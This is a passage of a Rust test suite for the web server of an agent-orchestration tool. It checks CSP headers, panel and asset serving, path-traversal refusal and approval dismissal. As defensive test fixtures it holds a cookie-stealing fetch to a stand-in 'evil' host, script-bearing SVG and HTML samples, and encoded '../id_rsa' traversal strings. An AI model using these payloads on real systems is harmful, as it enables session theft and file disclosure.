10763            head.push_str(&format!("{name}: {value}\r\n"));
10764        }
10765        if let Some(body) = body {
10766            head.push_str("Content-Type: application/json\r\n");
10767            head.push_str(&format!("Content-Length: {}\r\n", body.len()));
10768        }
10769        head.push_str("\r\n");
10770        if let Some(body) = body {
10771            head.push_str(body);
10772        }
10773        let mut socket = tokio::net::TcpStream::connect(addr)
10774            .await
10775            .expect("connect to the test server");
10776        socket
10777            .write_all(head.as_bytes())
10778            .await
10779            .expect("write request");
10780        let mut raw = Vec::new();
10781        socket.read_to_end(&mut raw).await.expect("read response");
10782        // Split on the raw bytes rather than on a lossy string, so a binary
10783        // body survives to be compared byte for byte.
10784        let split = raw
10785            .windows(4)
10786            .position(|w| w == b"\r\n\r\n")
10787            .expect("a header block");
10788        let head = String::from_utf8_lossy(&raw[..split]).into_owned();
10789        let bytes = raw[split + 4..].to_vec();
10790        let status = head
10791            .lines()
10792            .next()
10793            .and_then(|line| line.split_whitespace().nth(1))
10794            .and_then(|code| code.parse().ok())
10795            .expect("a status line");
10796        Res {
10797            status,
10798            headers: head.to_lowercase(),
10799            head,
10800            body: String::from_utf8_lossy(&bytes).into_owned(),
10801            bytes,
10802        }
10803    }
10804
10805    /// A `POST` carrying a raw binary body and its own headers, for the
10806    /// attachment upload route - `request_with` only ever sends
10807    /// `Content-Type: application/json`, which is wrong for an image and
10808    /// would corrupt anything not valid UTF-8 by round-tripping it through
10809    /// `&str` first.
10810    async fn request_bytes(
10811        addr: SocketAddr,
10812        path: &str,
10813        headers: &[(&str, &str)],
10814        body: &[u8],
10815    ) -> Res {
10816        let mut head = format!("POST {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
10817        for (name, value) in headers {
10818            head.push_str(&format!("{name}: {value}\r\n"));
10819        }
10820        head.push_str(&format!("Content-Length: {}\r\n\r\n", body.len()));
10821        let mut socket = tokio::net::TcpStream::connect(addr)
10822            .await
10823            .expect("connect to the test server");
10824        socket
10825            .write_all(head.as_bytes())
10826            .await
10827            .expect("write request head");
10828        socket.write_all(body).await.expect("write request body");
10829        let mut raw = Vec::new();
10830        socket.read_to_end(&mut raw).await.expect("read response");
10831        let split = raw
10832            .windows(4)
10833            .position(|w| w == b"\r\n\r\n")
10834            .expect("a header block");
10835        let head = String::from_utf8_lossy(&raw[..split]).into_owned();
10836        let bytes = raw[split + 4..].to_vec();
10837        let status = head
10838            .lines()
10839            .next()
10840            .and_then(|line| line.split_whitespace().nth(1))
10841            .and_then(|code| code.parse().ok())
10842            .expect("a status line");
10843        Res {
10844            status,
10845            headers: head.to_lowercase(),
10846            head,
10847            body: String::from_utf8_lossy(&bytes).into_owned(),
10848            bytes,
10849        }
10850    }
10851
10852    /// A run on disk, without touching the process-global magi home.
10853    fn write_run(runs: &FsPath, id: &str, status: RunStatus) {
10854        let mut state = RunState::new(
10855            PathBuf::from("/repo/magi"),
10856            "main".to_owned(),
10857            "0123456789abcdef".to_owned(),
10858            "Add a web UI\n\nMobile first.".to_owned(),
10859            Config::default(),
10860        );
10861        state.id = id.to_owned();
10862        state.status = status;
10863        let dir = runs.join(id);
10864        std::fs::create_dir_all(&dir).expect("run dir");
10865        std::fs::write(
10866            dir.join("run.json"),
10867            serde_json::to_string_pretty(&state).expect("serialize run"),
10868        )
10869        .expect("write run.json");
10870    }
10871
10872    /// Same as [`write_run`], but against a named repository rather than the
10873    /// fixed `/repo/magi` - for the `?repo=` stats tests, which need runs
10874    /// spread across more than one.
10875    fn write_run_repo(runs: &FsPath, id: &str, status: RunStatus, repo: &str) {
10876        let mut state = RunState::new(
10877            PathBuf::from(repo),
10878            "main".to_owned(),
10879            "0123456789abcdef".to_owned(),
10880            "task".to_owned(),
10881            Config::default(),
10882        );
10883        state.id = id.to_owned();
10884        state.status = status;
10885        let dir = runs.join(id);
10886        std::fs::create_dir_all(&dir).expect("run dir");
10887        std::fs::write(
10888            dir.join("run.json"),
10889            serde_json::to_string_pretty(&state).expect("serialize run"),
10890        )
10891        .expect("write run.json");
10892    }
10893
10894    fn write_daemon(home: &FsPath, updated_at: Timestamp) {
10895        let body = serde_json::json!({
10896            "schema": 1,
10897            "pid": 4242,
10898            "started_at": Timestamp::now().to_string(),
10899            "updated_at": updated_at.to_string(),
10900            "idle": false,
10901            "current": [{ "task": "20260902-140501-aaaa", "run": "20260902-140502-bbbb" }],
10902            "completed": 7,
10903            "polls": 143,
10904        });
10905        std::fs::write(home.join("daemon.json"), body.to_string()).expect("write daemon.json");
10906    }
10907
10908    /// A loop that starts, finds nothing to do, and waits to be told to stop.
10909    ///
10910    /// No test in this file may start the real loop - see [`Ui::launch`] for
10911    /// why - so this stands in for the only thing the routes need a loop to
10912    /// do: keep running until `Stop` is set, then return. A real
10913    /// `serve_until` here would resolve its queue and its status file through
10914    /// the process-global magi home, claim whatever it found in the
10915    /// operator's live backlog, overwrite the status file of the `magi serve`
10916    /// that owns it, and spend real agent quota on a real competition.
10917    fn launch_idle(
10918        _opts: daemon::Opts,
10919        stop: daemon::Stop,
10920    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
10921        Box::pin(async move {
10922            while !stop.stopped() {
10923                tokio::time::sleep(Duration::from_millis(2)).await;
10924            }
10925            Ok(())
10926        })
10927    }
10928
10929    /// A loop that fails on the way up, the way one whose home has gone
10930    /// read-only does.
10931    fn launch_broken(
10932        _opts: daemon::Opts,
10933        _stop: daemon::Stop,
10934    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
10935        // The stand-in dies instantly, so a restarted one can record its own
10936        // failure before the start's response is read. The second attempt
10937        // therefore fails with a different message, to tell a stale error
10938        // from a fresh one.
10939        static CALLS: std::sync::atomic::AtomicUsize = std::sync::atomic::AtomicUsize::new(0);
10940        let first = CALLS.fetch_add(1, std::sync::atomic::Ordering::SeqCst) == 0;
10941        Box::pin(async move {
10942            Err(anyhow::anyhow!(if first {
10943                "publish the daemon status file: read-only file system"
10944            } else {
10945                "the restarted stand-in failed as well"
10946            }))
10947        })
10948    }
10949
10950    /// The address the parking loop knocks on, and what it heard there.
10951    ///
10952    /// A [`Launch`] is a plain function pointer, so a stand-in loop cannot
10953    /// capture a fixture's address; this is how it is handed one. Only
10954    /// `the_deck_answers_while_it_parks_and_frees_the_address_first` touches
10955    /// these, so nothing else in this binary can race them.
10956    static PARK_KNOCK: std::sync::Mutex<Option<SocketAddr>> = std::sync::Mutex::new(None);
10957    static PARK_HEARD: std::sync::Mutex<Option<u16>> = std::sync::Mutex::new(None);
10958
10959    /// A loop that, once it is asked to stop, checks the deck still answers
10960    /// before it goes.
10961    ///
10962    /// It stands in for a run mid-node: `finish_loop` waits for this future,
10963    /// so the request it makes is strictly inside the park window - no sleep
10964    /// and no polling needed to be sure of that.
10965    fn launch_knocking_on_the_way_out(
10966        _opts: daemon::Opts,
10967        stop: daemon::Stop,
10968    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
10969        Box::pin(async move {
10970            while !stop.stopped() {
10971                tokio::time::sleep(Duration::from_millis(2)).await;
10972            }
10973            let addr = PARK_KNOCK
10974                .lock()
10975                .expect("park knock")
10976                .expect("the test set an address");
10977            let heard = request(addr, "GET", "/api/health", None).await.status;
10978            *PARK_HEARD.lock().expect("park heard") = Some(heard);
10979            Ok(())
10980        })
10981    }
10982
10983    /// The loop view once `want` accepts it.
10984    ///
10985    /// Polled rather than asserted straight after the POST because stopping
10986    /// is deliberately not instant - that is the contract - and rather than
10987    /// slept through because a fixed wait is either flaky or slow.
10988    /// `SETTLE_STEPS` is far longer than a stand-in loop needs and still
10989    /// finite, so a genuine hang fails the test instead of hanging the
10990    /// suite.
10991    async fn settled(fx: &Fixture, want: fn(&Value) -> bool) -> Value {
10992        for _ in 0..SETTLE_STEPS {
10993            let view = fx.get("/api/loop").await.json();
10994            if want(&view) {
10995                return view;
10996            }
10997            tokio::time::sleep(Duration::from_millis(10)).await;
10998        }
10999        panic!(
11000            "the loop never settled: {}",
11001            fx.get("/api/loop").await.json()
11002        );
11003    }
11004
11005    /// File an open question directly in the store the server reads.
11006    fn ask(fx: &Fixture, summary: &str, choices: &[&str]) -> String {
11007        let store = fx.questions();
11008        let mut q = Question::new(
11009            "20260902-000000-beef".to_owned(),
11010            "implement".to_owned(),
11011            "impl-A".to_owned(),
11012            summary.to_owned(),
11013            "because it matters".to_owned(),
11014            choices.iter().map(|c| (*c).to_owned()).collect(),
11015        );
11016        store.put(&mut q).expect("put question");
11017        q.id
11018    }
11019
11020    /// A question with a panel the server can serve, plus the named assets.
11021    ///
11022    /// Written through `Questions::put_panel` rather than by laying out the
11023    /// directory here, so these tests exercise the same on-disk shape the
11024    /// agents produce and cannot pass against a layout only the tests know.
11025    fn panel(fx: &Fixture, html: &str, assets: &[(&str, &[u8])]) -> String {
11026        let store = fx.questions();
11027        let mut q = Question::new(
11028            "20260902-000000-beef".to_owned(),
11029            "land".to_owned(),
11030            "fix".to_owned(),
11031            "Merge this?".to_owned(),
11032            "the diff is in the panel".to_owned(),
11033            vec!["merge".to_owned(), "hold".to_owned()],
11034        );
11035        // Staged outside the questions root, because `put_panel` copies from
11036        // wherever the agent left its files.
11037        let staging = fx.home.path().join("staging");
11038        std::fs::create_dir_all(&staging).expect("staging dir");
11039        let sources: Vec<PathBuf> = assets
11040            .iter()
11041            .map(|(name, bytes)| {
11042                let path = staging.join(name);
11043                std::fs::write(&path, bytes).expect("write staged asset");
11044                path
11045            })
11046            .collect();
11047        store
11048            .put_panel(&mut q, html, &sources)
11049            .expect("write the panel");
11050        store.put(&mut q).expect("put question");
11051        q.id
11052    }
11053
11054    /// A talk on disk, without talking to a model.
11055    ///
11056    /// Written as JSON straight into the store the server reads, because the
11057    /// only constructor `talk::begin` offers takes no turn but still requires
11058    /// a real caller-visible flow. The one thing this cannot make up is the
11059    /// seat, so it is built with the real `SeatState::new` and serialized -
11060    /// the alternative, hand-writing that object, would make these tests fail
11061    /// the day the seat gains a field.
11062    fn seed_talk(fx: &Fixture, id: &str, status: &str) -> String {
11063        seed_talk_at(&fx.talks(), id, status)
11064    }
11065
11066    fn seed_talk_at(store: &Talks, id: &str, status: &str) -> String {
11067        std::fs::create_dir_all(store.root()).expect("talks dir");
11068        let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "mock", 7))
11069            .expect("serialize a seat");
11070        let body = serde_json::json!({
11071            "schema": 1,
11072            "id": id,
11073            "repo": "/repo/magi",
11074            "agent": "mock",
11075            "status": status,
11076            "turns": [],
11077            "created_at": Timestamp::now().to_string(),
11078            "updated_at": Timestamp::now().to_string(),
11079            "seat": seat,
11080        });
11081        std::fs::write(store.path_of(id), body.to_string()).expect("write the talk");
11082        store.get(id).expect("the seeded talk has to be readable");
11083        id.to_owned()
11084    }
11085
11086    #[tokio::test]
11087    async fn both_panel_routes_send_the_whole_policy_that_makes_agent_html_safe() {
11088        let fx = Fixture::start().await;
11089        let id = panel(
11090            &fx,
11091            "<h1>Merge?</h1><img src=\"diff.svg\">",
11092            &[("diff.svg", b"<svg xmlns='http://www.w3.org/2000/svg'/>")],
11093        );
11094
11095        for path in [
11096            format!("/api/questions/{id}/panel"),
11097            format!("/api/questions/{id}/asset/diff.svg"),
11098        ] {
11099            let res = fx.get(&path).await;
11100            assert_eq!(res.status, 200, "{path}: {}", res.body);
11101            // The whole string, not a substring. A weakened directive - an
11102            // `img-src *` that lets a panel beacon out to a remote host, a
11103            // `script-src` anything, a missing `form-action` that lets it post
11104            // the owner's decision to a third party - has to fail here, and a
11105            // `contains` assertion would let every one of those through.
11106            assert_eq!(
11107                res.header("content-security-policy"),
11108                Some(
11109                    "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
11110                     font-src data:; base-uri 'none'; form-action 'none'; \
11111                     frame-ancestors 'self'"
11112                ),
11113                "{path} is the only thing between a hostile panel and the tailnet"
11114            );
11115            assert_eq!(
11116                res.header("x-content-type-options"),
11117                Some("nosniff"),
11118                "{path}: a browser must not re-decide the type we sent"
11119            );
11120            assert_eq!(
11121                res.header("referrer-policy"),
11122                Some("no-referrer"),
11123                "{path}: a panel must not leak the question id off the machine"
11124            );
11125
11126            // The front end mounts the frame only after a `HEAD` says the
11127            // panel is there, so `HEAD` has to answer with the same status and
11128            // the same policy as `GET` - a preflight that came back without
11129            // the CSP would mean a frame mounted on an unverified promise.
11130            let pre = fx.head(&path).await;
11131            assert_eq!(pre.status, res.status, "{path}: HEAD must agree with GET");
11132            assert_eq!(
11133                pre.header("content-security-policy"),
11134                res.header("content-security-policy"),
11135                "{path}: the preflight carries the same policy"
11136            );
11137            assert_eq!(
11138                pre.header("content-type"),
11139                res.header("content-type"),
11140                "{path}: the preflight carries the same type"
11141            );
11142        }
11143    }
11144
11145    #[tokio::test]
11146    async fn a_panel_reaches_the_browser_byte_for_byte() {
11147        let fx = Fixture::start().await;
11148        // Markup a sanitiser would be tempted to touch: a stray `<`, a script
11149        // tag, an entity, and a multi-byte character. The sandbox is what makes
11150        // this safe, so nothing here may be rewritten on the way out - a
11151        // rewritten diff is a diff the owner cannot trust.
11152        let html = "<h1>Merge?</h1><p>a &lt; b — 変更</p><script>alert(1)</script>";
11153        let id = panel(&fx, html, &[]);
11154
11155        let res = fx.get(&format!("/api/questions/{id}/panel")).await;
11156
11157        assert_eq!(res.status, 200);
11158        assert_eq!(res.bytes, html.as_bytes(), "served verbatim, not sanitised");
11159        assert_eq!(res.header("content-type"), Some("text/html; charset=utf-8"));
11160        assert_eq!(
11161            res.header("content-disposition"),
11162            None,
11163            "the panel itself is rendered in the frame, not downloaded"
11164        );
11165    }
11166
11167    #[tokio::test]
11168    async fn an_svg_asset_is_a_download_and_a_png_is_not() {
11169        let fx = Fixture::start().await;
11170        let svg = b"<svg xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>";
11171        let png = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR".as_slice();
11172        let id = panel(
11173            &fx,
11174            "<img src=\"diff.svg\"><img src=\"shot.png\">",
11175            &[("diff.svg", svg), ("shot.png", png)],
11176        );
11177
11178        let as_svg = fx.get(&format!("/api/questions/{id}/asset/diff.svg")).await;
11179        let as_png = fx.get(&format!("/api/questions/{id}/asset/shot.png")).await;
11180
11181        assert_eq!(as_svg.status, 200);
11182        assert_eq!(as_svg.header("content-type"), Some("image/svg+xml"));
11183        // An SVG is XML that may carry script. Inside the panel it is an
11184        // `<img src>` and the script cannot run; opened at the top level it
11185        // would be a document on magi's own origin, so the browser is told to
11186        // download it instead of rendering it.
11187        assert_eq!(as_svg.header("content-disposition"), Some("attachment"));
11188
11189        assert_eq!(as_png.status, 200);
11190        assert_eq!(as_png.header("content-type"), Some("image/png"));
11191        assert_eq!(
11192            as_png.header("content-disposition"),
11193            None,
11194            "a raster image has no execution surface, so tapping it still shows it"
11195        );
11196        assert_eq!(as_png.bytes, png, "a binary asset survives the round trip");
11197    }
11198
11199    #[tokio::test]
11200    async fn an_html_asset_is_never_served_as_html() {
11201        let fx = Fixture::start().await;
11202        let id = panel(
11203            &fx,
11204            "<p>see the notes</p>",
11205            &[
11206                (
11207                    "notes.html",
11208                    b"<script>fetch('http://evil/'+document.cookie)</script>",
11209                ),
11210                ("hook.js", b"fetch('http://evil/')"),
11211                ("data.json", b"{}"),
11212                ("HEADLINE.TXT", b"plain"),
11213            ],
11214        );
11215
11216        for name in ["notes.html", "hook.js", "data.json"] {
11217            let res = fx.get(&format!("/api/questions/{id}/asset/{name}")).await;
11218            assert_eq!(res.status, 200, "{name}: {}", res.body);
11219            // Serving this as text/html would be a way to reach agent markup
11220            // at the top level of the operator's browser, outside the frame's
11221            // sandbox and outside its CSP - which is the whole thing the panel
11222            // design exists to prevent. Unlisted types are downloads.
11223            assert_eq!(
11224                res.header("content-type"),
11225                Some("application/octet-stream"),
11226                "{name} must not be a type the browser will execute or render"
11227            );
11228        }
11229        // The whitelist is matched case-insensitively, so an agent shouting the
11230        // extension still gets a readable file rather than a download.
11231        let txt = fx
11232            .get(&format!("/api/questions/{id}/asset/HEADLINE.TXT"))
11233            .await;
11234        assert_eq!(
11235            txt.header("content-type"),
11236            Some("text/plain; charset=utf-8")
11237        );
11238    }
11239
11240    #[tokio::test]
11241    async fn no_spelling_of_a_traversing_asset_name_reaches_the_filesystem() {
11242        let fx = Fixture::start().await;
11243        let id = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
11244        // Something outside the panel directory that a traversal would reach if
11245        // one got through, so a passing test is not merely "the file was
11246        // missing anyway".
11247        std::fs::write(fx.questions().root().join("id_rsa"), b"secret").expect("write the bait");
11248
11249        // Decoded before this server's handler sees them: axum percent-decodes
11250        // path parameters, so `name` arrives as `../id_rsa`, `..\id_rsa` and a
11251        // string with a NUL in it. All three look like ordinary single-segment
11252        // filenames to the router, so the router passes them through and
11253        // `valid_asset_name` is what refuses them - for the literal `..`, and
11254        // for `/`, `\` and NUL not being in the permitted character set.
11255        for encoded in [
11256            "%2e%2e%2fid_rsa",
11257            "..%2fid_rsa",
11258            "..%5cid_rsa",
11259            "%2e%2e%5cid_rsa",
11260            "diff%00.svg",
11261            "..",
11262            ".hidden",
11263            "%2e%2e%2f%2e%2e%2fid_rsa",
11264        ] {
11265            let res = fx
11266                .get(&format!("/api/questions/{id}/asset/{encoded}"))
11267                .await;
11268            assert_eq!(
11269                res.status, 400,
11270                "`{encoded}` has to be refused by name, not looked up: {}",
11271                res.body
11272            );
11273            assert!(res.json()["error"].is_string(), "{}", res.body);
11274        }
11275
11276        // Not decoded, and never this handler's problem: a real slash makes the
11277        // request one segment too long for `/api/questions/{id}/asset/{name}`,
11278        // so axum's router has no route to match and answers before any code
11279        // here runs. Asserted so that a future route with a wildcard segment
11280        // cannot quietly open this door.
11281        for literal in ["../id_rsa", "../../questions/id_rsa", "..%5c../id_rsa"] {
11282            let res = fx
11283                .get(&format!("/api/questions/{id}/asset/{literal}"))
11284                .await;
11285            assert_eq!(
11286                res.status, 404,
11287                "`{literal}` must not match the asset route at all: {}",
11288                res.body
11289            );
11290        }
11291    }
11292
11293    #[tokio::test]
11294    async fn a_missing_panel_and_an_unknown_asset_are_both_json_404s() {
11295        let fx = Fixture::start().await;
11296        let plain = ask(&fx, "Which backend?", &["SQLite"]);
11297        let with_panel = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
11298
11299        // A question nobody wrote a panel for. The client preflights with HEAD
11300        // and cannot see inside a sandboxed frame, so this must be a status and
11301        // not an empty page.
11302        let none = fx.get(&format!("/api/questions/{plain}/panel")).await;
11303        assert_eq!(none.status, 404, "{}", none.body);
11304        assert!(none.json()["error"].is_string(), "{}", none.body);
11305        assert_eq!(
11306            fx.head(&format!("/api/questions/{plain}/panel"))
11307                .await
11308                .status,
11309            404,
11310            "the preflight is the only way the client can learn this"
11311        );
11312
11313        // A name that is perfectly legal and simply is not there.
11314        let missing = fx
11315            .get(&format!("/api/questions/{with_panel}/asset/absent.png"))
11316            .await;
11317        assert_eq!(missing.status, 404, "{}", missing.body);
11318        assert!(missing.json()["error"].is_string(), "{}", missing.body);
11319
11320        // A question that does not exist at all, on both routes.
11321        assert_eq!(fx.get("/api/questions/nope/panel").await.status, 404);
11322        assert_eq!(
11323            fx.get("/api/questions/nope/asset/diff.svg").await.status,
11324            404
11325        );
11326    }
11327
11328    #[tokio::test]
11329    async fn a_run_with_an_open_question_reads_as_waiting() {
11330        let fx = Fixture::start().await;
11331        let run = "20260902-000000-beef".to_owned();
11332        write_run(&fx.runs(), &run, RunStatus::Implementing);
11333
11334        let before = fx.get("/api/runs").await.json();
11335        assert_eq!(before[0]["waiting"], false, "{before}");
11336
11337        let store = fx.questions();
11338        let mut q = Question::new(
11339            run.clone(),
11340            "implement".to_owned(),
11341            "impl-A".to_owned(),
11342            "Which backend?".to_owned(),
11343            String::new(),
11344            vec!["SQLite".to_owned()],
11345        );
11346        store.put(&mut q).expect("put");
11347
11348        let during = fx.get("/api/runs").await.json();
11349        assert_eq!(during[0]["waiting"], true, "{during}");
11350
11351        // Answered: the run is moving again, and the flag has to follow without
11352        // anything having rewritten run.json.
11353        q.answer(Answer::Choice("SQLite".to_owned()))
11354            .expect("answer");
11355        store.put(&mut q).expect("put");
11356        let after = fx.get("/api/runs").await.json();
11357        assert_eq!(after[0]["waiting"], false, "{after}");
11358    }
11359
11360    #[tokio::test]
11361    async fn an_open_question_is_listed_and_counted_by_health() {
11362        let fx = Fixture::start().await;
11363        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
11364
11365        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
11366        let listed = fx.get("/api/questions").await.json();
11367        assert_eq!(listed.as_array().expect("array").len(), 1);
11368        assert_eq!(listed[0]["id"], id);
11369        assert_eq!(listed[0]["status"], "open");
11370        assert_eq!(listed[0]["choices"][1], "Redis");
11371        // The count is what makes the phone's indicator honest: it is the one
11372        // number meaning nothing will move until a human acts.
11373        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
11374    }
11375
11376    fn obsolete_approval_state() -> RunState {
11377        let mut state = crate::land::tests::repair_state(true, true);
11378        state.pr = Some(crate::run::PrRecord {
11379            url: "https://github.com/example/repo/pull/42".into(),
11380            number: 42,
11381            state: "open".into(),
11382            checks: "green".into(),
11383            round: 1,
11384            rounds: 4,
11385            red_at_merge: Vec::new(),
11386        });
11387        state
11388    }
11389
11390    #[tokio::test]
11391    async fn obsolete_approval_answer_handler_persists_retirement_for_each_owner_shape() {
11392        for owner in ["missing", "current", "completed", "later"] {
11393            let fx = Fixture {
11394                home: TempDir::new().unwrap(),
11395                addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
11396            };
11397            let mut state = obsolete_approval_state();
11398            state.status = RunStatus::Landing;
11399            state.parked = true;
11400            state.driver_exited = true;
11401            let mut q = Question::new(
11402                state.id.clone(),
11403                crate::land::APPROVAL_NODE.into(),
11404                "land".into(),
11405                "Old approval".into(),
11406                "Original evidence".into(),
11407                vec!["merge".into(), "hold".into()],
11408            );
11409            state.land_approval = Some(crate::run::LandApproval {
11410                question: q.id.clone(),
11411                head: "head".into(),
11412            });
11413            state.save_under(fx.home.path()).unwrap();
11414            let stale = state.clone();
11415            fx.questions().put(&mut q).unwrap();
11416            let mut task = Task::new(
11417                "Owner".into(),
11418                "Original instruction".into(),
11419                state.repo.clone(),
11420                Source::Human,
11421            );
11422            task.runs.push(state.id.clone());
11423            task.status = if owner == "completed" {
11424                TaskStatus::Done
11425            } else {
11426                TaskStatus::Parked
11427            };
11428            if owner == "later" {
11429                task.runs.push("later-run".into());
11430            }
11431            if owner != "missing" {
11432                fx.queue().put(&mut task).unwrap();
11433            }
11434            let ui = Arc::new(Ui::new(
11435                fx.queue(),
11436                fx.questions(),
11437                fx.talks(),
11438                fx.runs(),
11439                fx.home.path().into(),
11440                state.repo.clone(),
11441            ));
11442            let response = question_answer(
11443                State(ui),
11444                Path(q.id.clone()),
11445                Ok(Json(NewAnswer {
11446                    choice: Some(crate::merge_decision::DISMISS.into()),
11447                    text: None,
11448                })),
11449            )
11450            .await
11451            .unwrap();
11452            assert_eq!(
11453                response.0.question.resolution().as_deref(),
11454                Some(crate::merge_decision::DISMISS)
11455            );
11456            let disk = RunState::load_under(&state.id, fx.home.path()).unwrap();
11457            assert_eq!(disk.status, RunStatus::Superseded);
11458            assert!(crate::pr_head::ensure_owner_record(&stale, Some(&disk)).is_err());
11459            assert!(!crate::merge_decision::resumable_hold(&disk));
11460            assert_eq!(
11461                serde_json::to_value(&disk.pr).unwrap(),
11462                serde_json::to_value(&stale.pr).unwrap()
11463            );
11464            assert_eq!(fx.questions().count_open(), 0);
11465            assert!(fx.questions().get(&q.id).unwrap().chosen_action().is_none());
11466            crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
11467            if owner == "missing" {
11468                assert!(fx.queue().list().is_empty());
11469            } else {
11470                let after = fx.queue().get(&task.id).unwrap();
11471                assert_eq!(
11472                    after.status,
11473                    if owner == "current" {
11474                        TaskStatus::Done
11475                    } else {
11476                        task.status
11477                    }
11478                );
11479                assert_eq!(after.runs, task.runs);
11480                assert_eq!(after.instruction, task.instruction);
11481                assert_eq!(after.action_applied(&q.id), owner == "current");
11482            }
11483        }
11484    }
11485
11486    #[tokio::test]
11487    async fn obsolete_legacy_approval_dismissal_survives_http_reconnect_without_an_owner() {
11488        let fx = Fixture::start().await;
11489        let mut state = obsolete_approval_state();
11490        state.status = RunStatus::Landing;
11491        state.parked = true;
11492        state.driver_exited = true;
11493        let mut q = Question::new(
11494            state.id.clone(),
11495            crate::land::APPROVAL_NODE.into(),
11496            "land".into(),
11497            "Superseded PR approval".into(),
11498            "Original review evidence".into(),
11499            vec!["merge".into(), "hold".into()],
11500        );
11501        state.land_approval = Some(crate::run::LandApproval {
11502            question: q.id.clone(),
11503            head: "old-reviewed-head".into(),
11504        });
11505        // The old persisted PR may still say open even when a separate change
11506        // already landed. Dismissal must not use that snapshot to close it.
11507        state.save_under(fx.home.path()).unwrap();
11508        let stale_driver = state.clone();
11509        fx.questions().put(&mut q).unwrap();
11510        let path = fx
11511            .home
11512            .path()
11513            .join("questions")
11514            .join(format!("{}.json", q.id));
11515        let mut legacy = serde_json::to_value(&q).unwrap();
11516        legacy["schema"] = 9.into();
11517        legacy.as_object_mut().unwrap().remove("merge_target");
11518        std::fs::write(&path, serde_json::to_vec(&legacy).unwrap()).unwrap();
11519
11520        // POST without GET tests legacy upgrade and validation at the actual
11521        // entry point, rather than constructing a modern card in the test.
11522        let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
11523        let answer_path = format!("/api/questions/{}/answer", q.id);
11524        let res = fx.post(&answer_path, Some(&body)).await;
11525        assert_eq!(res.status, 200, "{}", res.body);
11526        let disk = fx.questions().get(&q.id).unwrap();
11527        assert_eq!(
11528            disk.resolution().as_deref(),
11529            Some(crate::merge_decision::DISMISS)
11530        );
11531        assert!(disk.detail.starts_with("Original review evidence"));
11532        let retired = RunState::load_under(&state.id, fx.home.path()).unwrap();
11533        assert_eq!(retired.status, RunStatus::Superseded);
11534        assert_eq!(
11535            serde_json::to_value(&retired.pr).unwrap(),
11536            serde_json::to_value(&state.pr).unwrap()
11537        );
11538        assert!(!retired.merge_decision.as_ref().unwrap().closed);
11539        assert!(!crate::merge_decision::resumable_hold(&retired));
11540        assert!(fx.queue().list().is_empty());
11541        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
11542        // A restarted server re-reads the persisted pending list.
11543        let addr = Fixture::serve(
11544            fx.home.path(),
11545            PathBuf::from("/repo/magi"),
11546            launch_idle,
11547            None,
11548        )
11549        .await;
11550        let reconnected = Fixture {
11551            home: fx.home,
11552            addr,
11553        };
11554        let listed = reconnected.get("/api/questions").await.json();
11555        assert!(
11556            listed
11557                .as_array()
11558                .unwrap()
11559                .iter()
11560                .all(|q| q["status"] != "open")
11561        );
11562        assert_eq!(listed[0]["id"], q.id, "history remains available");
11563        assert_eq!(
11564            reconnected.get("/api/health").await.json()["questions_open"],
11565            0
11566        );
11567        assert_eq!(
11568            reconnected
11569                .post(&answer_path, Some(r#"{"choice":"merge"}"#))
11570                .await
11571                .status,
11572            409
11573        );
11574        // A late waiter cannot turn the old answer into a new decision.
11575        assert!(
11576            reconnected
11577                .questions()
11578                .update(&q.id, |q| q.answer(Answer::Choice("hold".into())))
11579                .is_err()
11580        );
11581        // The same guard used by claims, repair and publication rejects a
11582        // saved in-memory driver as well as the persisted terminal record.
11583        assert!(crate::pr_head::ensure_owner_record(&stale_driver, Some(&retired)).is_err());
11584    }
11585
11586    #[tokio::test]
11587    async fn obsolete_approval_dismissal_respects_claims_and_later_attempts() {
11588        let fx = Fixture::start().await;
11589        let mut state = obsolete_approval_state();
11590        state.status = RunStatus::Landing;
11591        state.driver_exited = true;
11592        let mut q = Question::new(
11593            state.id.clone(),
11594            crate::land::APPROVAL_NODE.into(),
11595            "land".into(),
11596            "Obsolete approval".into(),
11597            String::new(),
11598            vec!["merge".into(), "hold".into()],
11599        );
11600        state.land_approval = Some(crate::run::LandApproval {
11601            question: q.id.clone(),
11602            head: "head".into(),
11603        });
11604        state.save_under(fx.home.path()).unwrap();
11605        fx.questions().put(&mut q).unwrap();
11606        let mut task = Task::new(
11607            "Owner".into(),
11608            "Original instruction".into(),
11609            state.repo.clone(),
11610            Source::Human,
11611        );
11612        task.runs = vec![state.id.clone(), "later-run".into()];
11613        fx.queue().put(&mut task).unwrap();
11614        let before = std::fs::read(fx.queue().path_of(&task.id)).unwrap();
11615        let claim = fx.queue().claim(&task.id).unwrap();
11616        let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
11617        let path = format!("/api/questions/{}/answer", q.id);
11618        assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
11619        assert!(fx.questions().get(&q.id).unwrap().status.open());
11620        drop(claim);
11621        let publication = crate::pr_head::owner_lock(fx.home.path(), &state.id).unwrap();
11622        assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
11623        assert!(fx.questions().get(&q.id).unwrap().status.open());
11624        drop(publication);
11625        // Unknown liveness and armed auto-merge both fail without settling.
11626        state.driver_exited = false;
11627        state.driver_pid = None;
11628        state.save_under(fx.home.path()).unwrap();
11629        assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
11630        state.driver_exited = true;
11631        state.land_armed_head = Some("head".into());
11632        state.save_under(fx.home.path()).unwrap();
11633        assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
11634        state.land_armed_head = None;
11635        state.save_under(fx.home.path()).unwrap();
11636        assert_eq!(fx.post(&path, Some(&body)).await.status, 200);
